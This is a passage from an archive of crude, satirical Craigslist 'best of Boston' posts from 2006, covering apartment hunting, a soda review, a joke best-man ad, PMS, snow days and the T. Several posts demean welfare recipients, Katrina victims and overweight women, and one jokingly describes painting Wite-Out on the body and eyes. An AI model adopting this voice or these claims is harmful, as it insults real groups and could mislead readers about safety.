Buyback programs. SIGN ME UP!!!! I can’t wait for the day when my daughter comes home wearing hoop earrings and her boyfriends only goal in life is getting 20” Dubs for his pimped out Honda Civic. What really burns me is that if I was a total dredge of society I could live for free or on the cheap. Katrina victims are living better than I am! I would love for a flood to take out half of Boston. Most of my furniture looks like it came from a garage sale anyway. You’d see me hanging loose in my brand new trailer, playing my free play station and getting $300 lap dances while sipping on some champagne all compliments of the federal government. Did any of you see the stories on how over 3 billion dollars of FEMA aid was given to inmates, spent in strip clubs and blown on entertainment. Where is the support for people like myself. I don’t come from money, I put myself through college, I pay my taxes and contribute to society and some fucking baby machine tweaker is spitting out future welfare cases while cooking up a new batch of crystal meth in their section 8 housing and selling food stamps for Milwaukee's Best. Or I have to compete with some trust-fund baby whose parents don’t give a shit what the rent is and have driven up the market all over the city . I have to shell out $1,400 a month and have references from the Dali Lama so some spoiled bastard going to Tufts can sit around drinking wine, listening to Radio head and banging college girls. Where is the justice. I have been paying over $1,200 a month for years, never missed a rent payment and got kicked out on my ass over and over again. Each time having to shell out an absurd amount of money for first, last, security, moving expenses and anal lubrication. For any of you just entering into the rental market and can’t spend $2,000 a month please feel free to use my translation guide below: Cozy = Small Quaint = Busted Conveniently Located = On a busy main road tucked in between a halfway house and a bus terminal Charming = Small & has not been remodeled since the civil war Has Character = Slightly overpriced and has a bathtub in the Kitchen Great View = It’s on the third floor and you can’t move anything bigger than a folding chair up the stairs High Ceilings = Old and the wallpaper looks like a fat girl after Liposuction When the agent says “one small thing” = There is a old lady on the first floor with 15 small yappy dogs who bite, hump legs and have mange Pool & Gym = crappy apartment complex and they will raise your rent after the first year Convenient Non Permit Street Parking = HA! Good luck dipshit Conveniently Located near a laundry mat = no washer/dryer or hookups Convenient (Agents love this word) = Not Convenient Affordable!!! = Wall to wall stained pink carpeted, wood paneled piece of shit! Garden Level = Basement with tiny windows and you better be an Oompa-Loompa Great Deal!!! = The landlord is a crack head, a pedophile or both Anything with *** = ***Don’t Bother*** Thanks for reading folks, if I have helped one person it was worth it.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Boston <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-30T08:33:04-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/177040375.html Apartment Fury text You overturned my friend's trashcans - m4m http://www.craigslist.org/about/best/bos/176625068.html Saturday night--oh what a night. Just when the party couldn't get more stale (people were asking me to show off my dance moves AGAIN)--that's when you came in. At first you pretended to know another guest, saying "hey man, how's it going?" Then you pretended to know the host (I doubt you knew he was the host), saying "yo, this my boy. this my boy right hee." I was intrigued by your lack of articulation and your infectious grin (infectious like the clap). And by the fact that you made friends so quickly with people who clearly wanted you to leave. As you made your way to the fridge to score a free drink, I started talking to the quiet and not ugly girl who came in after you--and that's when you really started to shine. With your hat cocked to one side--a nod to hip hop? to dontrelle willis? to subacute stroke patients with hemispatial neglect?--you approached me and this girl. Immediately you put yourself between us, proclaiming her as your girl. And thank god i say to that, cause who wants to talk to chicks anyway. But I saw through the charade. She walked out, embarassed. Probably because your sneakers weren't white enough. My friend, the host, he decided that it was time for you to go. He was even kind about it, trying to puff up your manhood by proclaiming that "you look like the kind of guy who could pound a beer easily." Why did you not just pound it and go? Maybe you knew that our connection needed time to develop. People get angry when prevented from pursuing a romantic interest, and that's exactly what happened. You got all up in my friend's grill, and *what?* Did he not want you at the party any more? You were just trying to be friendly, after all. That's total bullshit, to be kicked out like that. Push could have come to shove, except that someone suggested that you guys just go outside, calm down, and talk about it. Well, them's fightin' words, and you knew it. No one would actually want to remove a disruption from a party in order to let people return to jubilation while you settled a problem rationally. No, you got an invitation to fisticuffs, rsvp NOW. I helped walk you outside, and then-- I don't know why I did it. I slammed the door shut behind you and locked it. Almost as if I couldn't face the attraction that had been building. True, everyone else at the party hated you and thought you were an idiot. Which you probably are. But I just want you to understand why *I* did what I did. Because you weren't happy about it. Some 10-15 minutes later, you were back. Overturning the trashcans in my friend's yard. Something tells me that you'd appreciate the fact that that sentence was not a complete sentence. You, yourself, feel incomplete. Were you symbolically overturning the dominant social structure that oppresses relationships like ours? Were you trying to rub our noses in the rotting rubbish that accumulates when we blindly throw away ingredients that don't fit into the standard recipes that society dictates? Or were you trying to say that the content of those cans wasn't trash--that it was all recyclable, all of some value that we hadn't previously recognized? I guess I'll never know because you ran away screaming when I came outside and threatened to call the police. I'm not gay. But you aren't either. And that's what makes this so special. No, I'm not drunk.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Somerville <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-29T00:55:09-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/176625068.html You overturned my friend's trashcans - m4m text Coca-Cola Blak? You can't be serious. http://www.craigslist.org/about/best/bos/173636886.html <center> <img src="http://slowchildren.sabatos.net/blak/blak.jpg"> </center>So, I found this shit while doing a soda run for a friend. I used to have this nasty habit of buying weird drinks, just to see what they taste like. But that all changed when Pepsi Blue beat the shit out of my taste buds. I've been pretty wary about drinks since then, especially when we got shit like Diet Cherry Vanilla Dr Pepper and Stick Covered in Shit XTREME BLEND Mocha Lattes. But it wasn't my money, and I was thirsty as fuck, so I caved in and picked up this Coca-Cola Blak shit. The label had that catchy artfag "Buy me now and you'll be fucking goth bitches tonight!" quality to it. Like it's too good for you, that you're a better person for having it nearby, because it distracts people from your many shortcomings. It stares right through your fucking soul with that little 0 thing in the center, and laughs at your tiny penis. It sends out MySpace event invitations to all it's friends except for you. Fuck, you're not even in it's Top 8. Screech is in it's Top 8, Rick James is in it's top 8, and even Pepsi is in there just for the irony. It wants to remind you that you suck, and that you need to get a haircut. And just so you don't have any doubts that it's worth more than you, the bottle is made of glass. It's delicate, yet classy. I fucking hate you already, Coca-Cola Blak. The cap is black too, the guys in marketing must have been fucking each other in the ass over this masterpiece. It makes fun of you even as you try to open it, since the cap on this particular bottle was on way too fucking tight. I could hear it blogging away from the depths of it's glassy bowel, pounding away on it's MacBook while flipping through a thesaurus for words similar to "pathetic." Fuck you, Blak. I paid for you, I brought you back to my pad, and now you're going to let me violate you and take pictures. <center><img src="http://slowchildren.sabatos.net/blak/blak2.jpg"></center> Ever smell something that was so familiar, so strong in a particular scent that it brings back memories? Happy, fun little memories about your childhood? Memories about things you've done with your lover under the cover of an umbrella in Europe? I have no such memories for Coffee. I fucking hate it. I should've known by the label that I was buying into some seriously disgusting shit. Since when did "Fusion" become the new word for "THERE IS COFFEE IN ME, NOT THE DELICIOUS ICE CREAM KIND EITHER?" And when did it become a viable excuse to sell shit in 8oz bottles for almost double the price? You're not winning any points here, Blak. You're being a real shithead, and I'm growing tired of you already. <center><img src="http://slowchildren.sabatos.net/blak/blak3.jpg"></center> See my eyebrow? It's actually trying to escape from my head and get as far the fuck away from this overpriced pisswater as possible. At first, the taste isn't so bad, but then you remember that it's supposed to be Coffee flavored. Bile should never be mixed with Coffee, it's like pouring salt in someone's asshole. <center><img src="http://slowchildren.sabatos.net/blak/blak4.jpg"></center> Having put something so foul into my mouth, I quickly administered the Homer Simpson test and made sure that I had not infact gone blind. If I wasn't able to type without looking at the keyboard, I'd be concerned at this point. My vision remained, but I fear that I may have to put my taste buds down. <center><img src="http://slowchildren.sabatos.net/blak/blak5.gif"> shit guys i lied about my vision things are going blak lol god this shit is so fuc</center> <center><img src="http://slowchildren.sabatos.net/blak/blak6.gif"> n_________________________________________n ITT WE ARE ALL NINJAS [56K PLAYS KID NIKI]</center> <center><img src="http://slowchildren.sabatos.net/blak/blak7.jpg"> -You have scored 0 out of a possible 177 points- -You have died- -Please choose (R)estore, R(e)start, or (Q)uit-</center> ~justin.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Ughsville <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-20T18:04:07-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/173636886.html Coca-Cola Blak? You can't be serious. text Wanted URGENTLY: Best Man for wedding in Holyoke, MA (Sun 11th) http://www.craigslist.org/about/best/bos/169648769.html Wedding Date: Sun 11th June 2006 Ok, so I'm backing out on my cousin last minute, and I before I do it, I need someone lined up to take my place, because I'm not sure that he'll be able to find someone at such short notice. Pay is $200+ (negotiable), plus a night in the hotel in question (I'll sacrafice my room there for the right candidate). You MUST have comprehensive experience in this position, have a TUX (because the one I have might not fit you), and have transport to and from the locations (to be divulged to selected candidate, but it's in Holyoke). Email me with a few pictures (preferably in a tux at a wedding, in the Best Man role) and brief history of experience in this position, and a telephone number where I can contact you. This will be a one time contract job. You will be required to be available during the entire day, from 9am until 12am (perhaps even until 2am). You will be required to make a speech and fulfill other customary duties normally executed by the best man at weddings. If you happen to find a beautiful woman to dance the night away with, that's fine, so long as the aforementioned duties are fulfilled in their entirety and in a satisfactory manner. Due to the sensitivity of this position, and the short time available, please only apply if you are sincere, clinically sane & stable and experienced. --  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> Job location is Holyoke, MA <li> Compensation: I'd like to get this done for $200, but it's negotiable. <li> This is a contract job. <li> yes -- OK for recruiters to contact this job poster. <li> no -- Please, no phone calls about this job! <li> no -- Please do not contact job poster about other services, products or commercial interests. <li> yes -- Reposting this message elsewhere is OK. </ul>  webmaster@craigslist.org 2006-06-09T05:13:24-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/169648769.html Wanted URGENTLY: Best Man for wedding in Holyoke, MA (Sun 11th) text Bleaching your unmentionables http://www.craigslist.org/about/best/bos/169447865.html You girls that are considering bleaching your asses, twats, and nipples are just crazy. It's unsafe, unhealthy, dangerous, and a waste of time and money. Think about it. How long do your whites stay white after you bleach them? Body bleaching is the same and costs a ton more. My suggestion is to save some serious scratch and do what I do - use Wite-Out®. I'm a guy but the effect is the same and I've saved thousands of dollars and I look great when I pose my nether region on my webcam. Some say I've gotten a little carried away, but to date, with great success I've Wite-Out®ted my balloon knot, my raisin bag, my taint, my soldier's helmet (it looks like a little KKK member now - soooo freakin' cute), both my nipples, a few areas below my eyes, a bunch of moles on my back, my teeth, the veins on my eyes, the inside of my poop arena (aka my colon), my uvula, and most recently, I've been experimenting with Wite-Out® using a Bob Ross Signature fan brush around the skin on my happy little knee caps - that area has gotten a bit dark over the years of me trying to work my way to the top at work. Say no to bleaching and yes to Wite-Out® um... Wite-Out®ing™.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around All Over <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-08T15:43:06-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/169447865.html Bleaching your unmentionables text You all have the wrong guy! http://www.craigslist.org/about/best/bos/168292098.html Whoa! Just hold on a minute, there. I think you all have the wrong guy. I've been reading through these, and there are some doubts that I have. For starters, the descriptions of me are WAY off. I don't wear torn jeans, or have long hair. Also, how can you claim to have seen me on the Red Line today reading the paper? I take the GREEN LINE to work, and I wasn't even reading a paper today. Also, you said that I was listening to an iPod. How can this be true, if I don't even own one? The other day, a posting claimed to have seen me "riding a bike on Newbury St.". While this is possible, I have not actually ridden my bike there since early in the summer of 2005. Further, the age that you assume me to be is also usually way off. I'm 34, not 40ish, and certainly not 25. Also, I'm not a woman, yet some people are so careless in their descriptions, they totally miss the mark. For example, some time last week, somebody posted a Missed Connection that said "you were the cute girl at [the pub], petite, with blonde hair". You couldn't have been more wrong... okay, my hair is BROWN, and I've never even been to that pub! Further, I'm not petite, blonde, or even a female. It makes me wonder just how all of these people get wrong even the most basic facts about me... I mean, this is crazy.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-05T16:04:38-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/168292098.html You all have the wrong guy! text I love Your Baby and Toddler, BUT.... http://www.craigslist.org/about/best/bos/168265652.html Oooh! What an adorable child! Those blonde curls are SOOO CUTE! No, don't worry, though there's barely room in this tiny cafe, that double-wide SUV assault stroller will be just fine here. That sure was nice of that couple to open both of the doors on their way out, providing just enough room for that push-golfcart to get in here. People always think its cute that they have to literally shift all of the tables toward the wall so that you can steer the toddler and 8 month old around the corner. Say! Is that a luggage rack below their sise-by-side bucket-seats? Wow! Besides one change of diapers and a box of crayons, think of all the toys and corn-syrup snacks that could be packed in there! Uh-oh, you've just ordered a Venti-Maximo-Mocha-Milka-Frippo... how can you possibly carry- Oh, wow... it has a drink holder built into the dashboard of the thing. Now that's a real life saver. Those two people behind you in line seem to be a bit annoyed that you ran over their toes, and banged one of their shins, but your winning whitened smile and bleached hair won them over, and the first guy left his bike locked to a parking meter, which might be in your way when you leave. The second guy seemed down on his luck, and left a shopping cart full of who-knows-what right outside, as he came in to pay for coffee with change (you had the good sense to use a $20). Thank god that shopping cart and bike were left outside (could you imagine those filthy things in here? Ugh!) Ah, yes! a good idea... you were smart enough to grab a stack of napkins about 2 inches think, just in case the Mocha-mucko got on your capri pants or waist-tied wind-breaker. Alright, you're almost ready to go, the coffee is safely in the drink holder, your sunglasses are poised ontop of your hair, ready to be deployed, all you need now is just to fake a struggle with the door, and some young man will be guilted into fulfilling his duty for the day. Okay, he held the door, now just issue a helpless and surrendered "Thaaaanks" and we're off to the city! Ooh! I know a little pizza place a few blocks away! <img src=168265652.jpg>  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around this City <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-05T15:04:28-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/168265652.html I love Your Baby and Toddler, BUT.... text I cannot express adequately how much I think we should bone. http://www.craigslist.org/about/best/bos/164496887.html The chemistry is undeniably present. I get the butterflies in my stomach, and you do that cute nervous-you-might-order-the-wrong-beer-in-front-of-me thing, which is adorable for the time being and will probably continue to be so for about a week or two, at which point I will expect you to have learned that a) I'm sufficiently impressed that you drink beer at all instead of frothy, bubbly girly drinks with lewd names I can never bring myself to actually say to a bartender, and b) anything that gets you drunk is okay in my book. Not that I'm trying to get you wasted so that I can take advantage of you. No, I'm not That Guy. Rather, I'm trying (and, I suspect, in vain) to achieve in you that state of pleasant buzzed-ness, in which inhibitions are admittedly lowered, but self-control and basic decision-making capability remains. Also, I suspect you have the faintest tinge of a drinking problem, and I'd hate to be the guy to pound the nail in the coffin. No, I'd much rather just be done with the whole dinner/drinks component, and bring you back to my place, or to your place, or, hell, public, and just fuck you absolutely silly. Now, you and I both know that we're both two classy people. I'm less worried about the internet world considering us both to be white trash, but let me outline, among the many reasons why we should bone, the following factors: We're both gainfully employed in rewarding jobs. While yours is a typical 9-5, and mine is a little bit off the beaten path, I think we can all agree that we're both more or less happy where we are. While I cannot speculate as to your salary, and, frankly, it's none of my damn business, I know mine, and I'm comfortable with it. Add to this the awareness that I will be in much more of a position to buy you shiny things than many other potential suitors, and I think you will find that I can be a generous, loving fuckbuddy. We are both hot. You're hot, I can categorically state this. I'm hot, I've been told (by, among other people, you). I've always had a bit of a self-confidence problem, and so I'm not sure I entirely believe this statement, but I've received enough compliments that surely there must be something to it. Imagine how hot we'd be together, preferably naked and sweaty, and ideally fornicating. We're both intelligent, educated people. Between the two of us, we have at least four diplomas/certificates/degrees, not to mention an active involvement in the world around us. We are not slouchers. Imagine the intensity if we applied that dedication to a day-long sex marathon. Our senses of humor work well together. To date, you have not told a joke I have not found funny (except that one about the horse walking into a bar, and the bartender inquiring about the long face, but that was just because I'd heard it nine million times, and I think you were drawing off that fact rather than telling the joke straight up, so don't you worry about it), and you seem to respond well to my style of humor. In fact, I've already got a little one-liner saved up for the cuddling period in between our first romp and our second, significantly longer and inevitably messier, full-on session. I can't wait to bust it out. If for some reason, I was in such a hurry to penetrate you that I forgot to rip your socks off during foreplay (or if you're wearing those come-fuck-me boots, which are WAY hot, and I'd want you to leave on), this joke would rock those fuckers right off, so perfectly would it be timed and delivered. In conclusion, the evidence seems incontrovertible that we should engage in some serious fornication ASAP. Give me a booty call. I'll bring the candles, you bring the handcuffs. Let's bone, baby.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: -1"> <li> this is in or around Boston <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-05-25T09:21:16-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/164496887.html I cannot express adequately how much I think we should bone. text Free Upright Piano http://www.craigslist.org/about/best/bos/153144227.html 1 Free upright Piano. Will need some reconditioning to return to good condition, but is marginally playable (and horribly out of tune) now. Here's how it will work. You and as many of your strong friends that you can Tom Sawyer into this job will come by and move the piano off my second floor (1 set of straight stairs) into a vehicle of yours. I'm not lifting it, or providing a vehicle for it. I will help you gently guide it through my house so that I still have walls after you leave. Now here's the part that I know will be hard for people to understand: I'm not holding it for anyone without a $100 deposit for every week you want me to hold it. Not even if you ask really nicely. The first person to show up and take it gets it. This piano was listed once before, and you wouldn't believe the number of homeless dying one-legged Mongolian orphans that just needed a piano to make life better. I heard some great sob stories (probably all true!) about why I should hold this piano for this person or that person. Well, I ended up holding it for the first caller, who never got it. Then I held it for someone else, and they never got it. Then everyone was gone, and I still had a piano. "But wait!" you're saying. "Why should I put down a deposit on something that's free?" Well, if you want me to hold it, you can give me a $100 bill. I'll tape it to the piano. When you get the piano, you get the $100 with it! It's like getting paid $100 to take the piano! You won't find a better way to get your money back - *and* you get a free piano! If you forget, or get run over by a busload of orphans on their way to get a free harpsichord, I'm going to keep the $100. Want me to hold it 2 weeks? That's $200. "But I don't trust you to keep my $100..." Well, I don't trust you to come back and get this oversized paperweight. I tried that before and it didn't work. "But I don't have $100 and I really want the free piano!" OK, just come get it! It's really that simple. "But I don't have $100 and I can't come by with a truck for two weeks..." No piano for you! Life sucks; get a helmet. I don't really want the piano. It came with the house when I bought it. I play the flute, which I can carry in one hand. I've tried picking up the piano with 1 hand, and I can't quite get a good grip. Please, take my piano. So, if you want it, show up and take it! Simple, huh? <img src=153144227.1.jpg> <img src=153144227.2.jpg> <img src=153144227.3.jpg> <img src=153144227.4.jpg>  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: -1"> <li> this is in or around Roslindale <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-04-21T08:40:24-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/153144227.html Free Upright Piano text you know what, kegel muscles? fuck you. http://www.craigslist.org/about/best/bos/149933680.html I read about kegel muscles all the freakin' time in women's magazines: how much guys love it when you can grip their penises like a vise with your va-j-j, how much harder you come when you flex your lady love muscles, etc. Kegel muscles are supposedly sooooo great. But mine are deadbeats. Seriously - maybe I have a lazy vag. Maybe my kegels like to take it easy and enjoy the ride rather than make any effort during sex. Other ladies' kegels are like jazzercize instructors, flexing and jumping and pointing and coming. Mine are two potheads watching porn: uninvolved, lazy, happy, stupid. I (half-heartedly) tried to do the kegel exercises, which consists of just flexing them over and over. My kegels are so fucking lazy that I can't even be sure if I'm flexing the right thing in my pussy - something is moving, but I don't know what it is. It might be my cervix. Can cervixes move? So fuck those exercises. I realized I don't give a shit whether or not I can hold a dude in my so tight that it's hard for him to remove himself. What is this, a genital tug-of-war? So I've decided that if my pussy isn't enough on its own, sucks to be me. I'm not going to sit at my desk flexing my pee-muscles, and I'm not going to feel worthless if ex-boyfriends tell me how amazing their new girlfriends are with tightening up their pussies. I've had it, kegel muscles. You stay all lazy and useless on your stained, cat-hair love seat, watching your Jenna Jameson and contributing nothing to the activity in my vagina. bastards.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: -1"> <li> this is in or around 24/f <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-04-10T13:36:39-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/149933680.html you know what, kegel muscles? fuck you. text The 7 Dwarfs of PMS http://www.craigslist.org/about/best/bos/135619035.html 1 Weepy...Usually the first Dwarf to rear its ugly head especially if there is a "touching" moment during things like TV commercials that you ordinarily would not look at twice. This is a sure sign that the rest of the gang can't be too far behind. 2 Piggy... Piggy has quite an appetite for sweet and salty foods. Piggy can usually be found trying to calm down Weepy and make her smile. Piggy is Weepy's best friend but will go overboard in trying to help. If Piggy doesn't watch out then Bloaty is sure to visit. 3 Bloaty... Bloaty comes to town to bitch slap Piggy for chowing down one too many chips. Bloaty takes her job seriously and once she comes to the party she is one of the last to leave. Unfortunately Bloaty wakes the evilest dwarf of them all...Bitchy 4 Bitchy...This bad boy is sometimes referred to as THE Terminator. Don't mess with this character for she is prone to hissy fits. Bitchy takes no prisoners and usually makes no apologies. This evil-doer is likely to have Weepy watching her back and backing her up at any moment so beware. Just when you think you know what Bitchy is bitching about, Weeping will come on the scene and confuse you. Then there is a possibility that you will be the one saying "I'm Sorry". 5 Horny...This one has quite the appetite of a different kind. This creature has been known to have horny hormone levels that rival many 18 year old boys. Bitchy tries her hardest to keep Horny hidden from view. Weepy can sometimes keep Bitchy at bay long enough for Horny to make her move and be satisified. Men, you need to know that she exists and loves to come out to play. 6 Crampy...Never a welcome addition. But Crampy is usually a clear sign that Red-Tide will be here soon. Crampy can really get Bitchy going even worse than Bloaty. One of the best ways to soothe Crampy's attacks is to let Horny do her thing. Sometimes it might be best to sleep through Crampy's visits. 7 Red-Tide... While this character can sometimes be out of control and a messy trouble maker she is always an inevitable and sometimes welcome guest. But once she makes her appearance the end is always in sight. And unfortunately once she makes it onto the scene the others make an extra effort to be noticed and primary. webmaster@craigslist.org 2006-02-20T22:37:14-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/135619035.html The 7 Dwarfs of PMS text A Typical Snow Day in Boston http://www.craigslist.org/about/best/bos/127761771.html 2 Days before the storm: Forecasters are predicting a small clipper storm but are unsure of the snowfall amounts because they can’t pinpoint the good ol’ “rain/snow line” despite the fact that it’s what they get paid to do. 1 Day before the storm: Forecasters are certain that the city of Boston will not receive any snow. Outside of 495 is fucked, but Boston, you’re in the clear. 6:30AM, day of the storm: Wake up to 4 inches of snow on the ground and snowflakes the size of saucers. If this had been anywhere other than Boston, I’m sure I would have been woken up at 5:00AM by the sound of sheet metal scraping against pavement, but here in Boston, we like to get our beauty rest. They don’t start plowing, sanding or salting until at least 10AM. 7:00AM: Turn on Fox25 news to get a weather update. Unfortunately all I get is an update on Theo Epstein and the Red Sox for the next 30 minutes. 7:30AM: Begin trek through the tundra to the bus stop. Apparently nobody in the city of Boston owns a shovel. 7:45AM: Finally reach the bus stop, only to find 10 other surly looking people already waiting there. Never a good sign. 8:15AM: Still waiting at the bus stop. The guy next to me is in a huff and continually checking his wrist every 5 minutes. Keep checking your watch dude, that will totally make the bus come faster. 8:35AM: I see a bus in the distance. Unfortunately, so does everyone else and so starts the slow migration towards to curb. Little miss pink North Face fleece, you’re not slick, I know you just got here 5 minutes ago and like hell you’re getting on this bus before me. 8:37AM: The bus blows right by. OUT OF SERVICE. Awesome. 9:02AM: I’m now late for work and still waiting at the bus stop for a mother f’ing 66 bus to come. Hmm…weird, the 64 bus across the way seems to be running on schedule and completely DEVOID of customers, you’d think that all it would take is a simple phone call to re-route a few of those buses my way. 9:08AM: A bus finally comes and I have to make love to the person in front of me just to get on the damn thing. 9:15AM: I am now sweating through my coat and will pass out in the next 5 minutes if I don’t take it off. Oh wait, I forgot, I can’t move my arms and legs. Good thing there are plenty of people around me to break my fall. 9:18AM: Some jackass next to me thinks it’s funny to yell out, “I’m so cold…why is it so cold in here, could somebody please turn up the heat.” Ok…so, maybe it was a little funny. 9:38AM: I finally reach my destination and opt out of my standard, “thank you” to the bus driver. Sorry buddy, not today. I know you’re the only one who decided not to call in sick, but someone has to catch my heat and unfortunately it is you. 9:38AM: I step off the bus and straight into a huge puddle a la Bill Murray in Groundhog Day. 9:43AM: I walk into the office only to find that I’m the last one in and the only one who looks like they just strolled through a carwash. WTF? Did it only snow on my street? 10:00AM – 4:30PM: Continually check Boston.com for a weather update. Flashing red still? Fuck. 4:45PM: Put on my coat which now smells like a wet dog and cut out early. 4:50PM: Catch the sauna, err, I mean bus home. 5:35PM: Come home to find my neighbors yelling at each other because so and so parked in THEIR parking spot which was so very clearly saved with a standard issue recycling bin. Hey moron…just because you spent 4 hours thing morning shoveling out your car doesn’t make you special. Did you ever stop to think that the person who is parked in “your” spot also spent 4 hours shoveling out their car too? It’s called a public street. 6:00PM: Turn on Fox25 News to hear more about Manny Ramirez/Johnny Damon/insert obnoxious overpaid athlete here. Don’t you just love this city? webmaster@craigslist.org 2006-01-23T13:25:45-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/127761771.html A Typical Snow Day in Boston text Classic Moments / Characters of the T: A Rant for the Season http://www.craigslist.org/about/best/bos/119922846.html CLASSIC MOMENTS ON THE T: Brought to You By a Disgruntled Daily Commuter in the Spirit of the $(&@ Holiday Season We begin with a few of our favorite T quotes. Never fails. Folks cringe, curse, moan, and generally become pissy when we hear any of the following: “This train has been re-routed.” What this means: We’re running behind schedule as usual. See all those people on the other side of Park Street Station looking pissed? Yeah. I have to go over there now and pick their asses up cause we suck at staying on schedule. “This train will be standing by for two minutes.” What this means: The train in front of us is a broken down piece of tin and some schmuck has to waddle his way down the nasty tunnel to see what the deal is. Just sit here and wait and try not to focus on the fact that this means that what you thought was going to be a nice, uncrowded ride will now be miserable, cause I’m leaving the doors open sucker, and about 1,325 other people are going to hop on before we take off. “Step all the way into the back of the train, people. Let the people in the front on. Move ALL the way to the back. We will not move unless you move allllll the way back. There’s PLENTY of room in the back of the car, people.” The Reality Here: Don’t you just want to walk up to that perky little T driver – shoving your way past the crowds – and say, “What the FUCK do you expect me to hold on to back there, assmunch?” I mean, SERIOUSLY. There are days when having something to hold on to on the T is like winning the f’n lottery. I don’t see those handy dandy over the head hand holds ala the NY subway system here. What the FUCK do they expect us to do? Move to the back and just yell “SURF’S UP!” and go with it? Haven’t they ever been ON a train when it’s hurtling at 20 MPH over the speed of sound as it takes that curve on the approach to Boylston? SHEESH. “ExCUSE me, <sir/miss> in the red jacket. The fare is a dollar AND TWENTY FIVE cents. NOT a dollar. Please return to pay the fare just like everyone else.” Admit it. You LOVE this, as long as you’re not the butthead who didn’t pay the full fare. You secretly relish their pain and snicker to yourself as they walk back to the front of the train and mutter about how they didn’t know and how sorry they are or some such bs. That’s right. They suck and YOU are the master of the T fare. (no need to mention here all those mornings you’ve forgotten/misplaced your own T pass and been at the mercy of a driver in front of the vultures.) On the B line: “This train will be running express to Boston College. Boston College will be the next stop for this train.” After 98% of the 70 people on the train pour out, mumbling and lugging groceries, briefcases, and other assundry, the 2 BC students sit tight in their newly won seats and smile smugly. Lest we get upset, the driver is always quick to remind us that there is service “directly” behind them (which means, “A train is being flown in, as I speak, from Japan. If it doesn’t break down before it reaches us, you’ll be in luck and on your way in no time.”) <no words> Driver waves all people onto the train and covers up the pay box. Oh SURE. On the ONE day that I go BACK to the f’n house to get the T pass / fare $ that I forgot, you’re going to waive the fare and let all of these fucks on for free anyway. I pay you in protest. The dreaded extra ding of the green line bell. NOooooooooooooooooooooooooooooooooooooooo. FUCKERS. You can’t just ding ding your sweet little bell and zip on past me!!!!!!!! I’ll show you. Next train that comes, I’m going to just stand here and let it go by. Screw that. I’m not taking your secondary pity train. I’m not - hrm. It’s cold as ass out here. Well, fine. I’ll get on this next train. But NEVER again. Sitting in a green line train – the power goes off. You think to youself, “Great. Did the hamster that runs to keep the motor on this tin torpedo just kick the bucket?” Or perhaps: “Air… there’s no air. That guy behind me is sucking in all of the air that’s left in this friggin train. Hey buddy! STOP with the sneezing already! I’m going to die from stale mangy T air. TURN THIS THING BACK ON!” Or maybe: “Damn. Who’s Ipod is that? Is that dork listening to – wait… is that Tiffany?? Like I want to hear TIFFANY, you idiot. Someone turn this stupid thing back on so I can’t hear this num nut’s music anymore. For the love of God.” Or: “I had no IDEA that pages turning could sound like a tidal wave. Does anyone else notice this?” “Due to mechanical difficulties, this train is going out of service. Kenmore station will be the last stop for this train. No passengers after Kenmore. Repeat: Kenmore station will be the last stop for this train. We apologize for any inconvenience.” Usually accompanied by a hideous oil-like (one can hope) stench emanating from the train you are on. The real fun begins as people attempt to board the next train that comes to through the station. Seriously, have you ever seen a lot more EAGER to get to WORK? Calm down, you idiots. There will be another train, equally as crappy and packed, in just a few. Now for Some of the Daily Obstacles/Characters Faced by Joe T Rider: Guy/woman behind you thinks that they’re lounging at home in the barcalounger and proceeds to SNAP, crease, and fan his/her newspaper as such. S/he is oblivious as the pages thwack you repeatedly in the head, crinkly noise of paper rupturing your eardrum. Escalators. I’m not even talking the omnipresent broken ones. I’m talking the functioning ones, a/k/a obstacle courses for commuters who bleat like sheep. Umbrellas. Are YOU the guy that has the temerity to place your dripping umbrella on the seat next to you and then expects someone else to want to put their butt in your puddle of gifted love? Don’t be that guy. Dripping A/C. “Gee,” she thinks, weary heart a flutter. “Why is no one sitting in that seat? This is a packed train. Must be my lucky day!!” Only after sitting does she feel the cold, slow DRIP of the nasty, dirty water from the broken A/C. Of COURSE none of the others on the train took the time to warn her. They’re too busy smirking and enjoying the moment, thinking to themselves, “Duh, you tart. Why the hell else would WE not have sat there? You think you’re THAT special? Now your hair is ruined. Take that.” This is second only to… … trains in July with NO A/C. It’s days like this when you think it might not be a bad idea for the MBTA to just give up on fixing those stupid escalators and, instead, investing the $ saved in deodorant dispensers for every T stop. The Outside Seat Guy. You know who you are. I don’t care if: 